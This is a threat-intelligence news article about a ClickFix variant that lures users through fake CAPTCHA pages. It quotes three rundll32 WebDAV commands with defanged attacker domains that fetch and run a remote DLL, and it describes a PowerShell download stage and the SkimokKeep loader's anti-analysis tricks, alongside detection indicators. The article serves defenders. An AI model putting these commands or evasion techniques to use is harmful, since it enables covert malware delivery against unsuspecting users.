A new variant of the ClickFix attack technique that shifts execution away from commonly monitored tools like PowerShell and mshta, instead abusing native Windows components such as rundll32.exe and WebDAV.
This evolution allows attackers to bypass traditional script-based detection mechanisms, increasing the likelihood of a successful, stealthy compromise.
The attack begins similarly to earlier ClickFix campaigns. Victims are lured to a phishing website disguised as a CAPTCHA page, such as “healthybyhillary[.]com.”
The CyberProof Threat Research Team has observed a new variant of the ClickFix technique, where attackers manipulate the user into executing a malicious command on their own device through the Win + R shortcut.
The page instructs users to open the Windows Run dialog using “Win + R,” paste a command, and press Enter. This social engineering trick convinces users to execute malicious commands themselves.
Observed commands include:
- rundll32.exe \ser-fluxa[.]omnifree[.]in[.]net@80\verification.
- rundll32.exe \data-x7-sync.neurosync[.]in[.]net@80\verification.
- rundll32.exe \mer-forgea.sightup[.]in[.]net@80\verification.
These commands leverage the Windows WebDAV mini-redirector using the \server@port syntax. This allows remote files hosted over HTTP (port 80) to be accessed like local network shares.
Rundll32 then executes the exported function from the downloaded DLL using ordinal “#1” instead of a named function, making analysis and detection harder.
Multi-Stage Infection Chain
Once executed, rundll32 retrieves a malicious DLL named “verification.google” and runs it directly in memory.
The attack chain then transitions to PowerShell, where additional payloads are downloaded using commands like Invoke-Expression (IEX) and Net.WebClient.DownloadString.
The PowerShell execution uses flags such as “-NoP” and “-NonI” to reduce visibility and avoid user interaction a secondary payload identified as SkimokKeep is then deployed.
This payload operates entirely in memory and uses advanced evasion techniques. It dynamically resolves API functions by walking the Process Environment Block (PEB), avoiding static imports that are commonly flagged by security tools.
It also manipulates the Import Address Table (IAT) at runtime using VirtualProtect, further reducing its footprint.
The SkimokKeep loader includes multiple anti-analysis features designed to evade detection:
- Dynamic API resolution using DJB2-style hashing.
- In-memory execution without writing files to disk.
- Process injection and memory modification activity.
It also performs several Anti-VM and Anti-Sandbox checks, such as:
- Verifying screen resolution and desktop presence using GetSystemMetrics and GetDesktopWindow.
- Checking for active user interaction via GetForegroundWindow and GetFocus.
- Detecting abnormal system time behavior to identify sandbox acceleration.
- Inspecting system locale and OS version inconsistencies.
Additionally, anti-debugging techniques are used, including timing checks with GetTickCount and logic manipulation based on process and thread IDs. These techniques help the malware alter behavior or terminate execution when analysis is suspected.
Detection Opportunities
Despite its stealth, the attack leaves detectable traces across endpoint and network telemetry. Key indicators include:
- Execution of rundll32.exe with WebDAV-related arguments such as davclnt.dll or @80 syntax.
- Outbound HTTP connections initiated by rundll32.exe.
- Suspicious command-line patterns referencing remote DLL execution.
- Follow-up activity involving PowerShell or mshta.
- Connections to suspicious external domains.
Security teams can also use KQL-based hunting queries to identify abnormal rundll32 behavior involving WebDAV paths.
This new ClickFix variant highlights a growing trend toward fileless, user-driven attacks that rely on trusted system binaries (LOLbins).
By shifting execution away from heavily monitored scripting engines to lesser-scrutinized components like rundll32 and WebDAV, attackers significantly reduce their detection surface.
Organizations that rely primarily on script-based monitoring may miss this activity entirely. Strengthening visibility into command-line execution, network behavior, and LOLbin abuse is now critical to detecting these evolving threats.
Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.
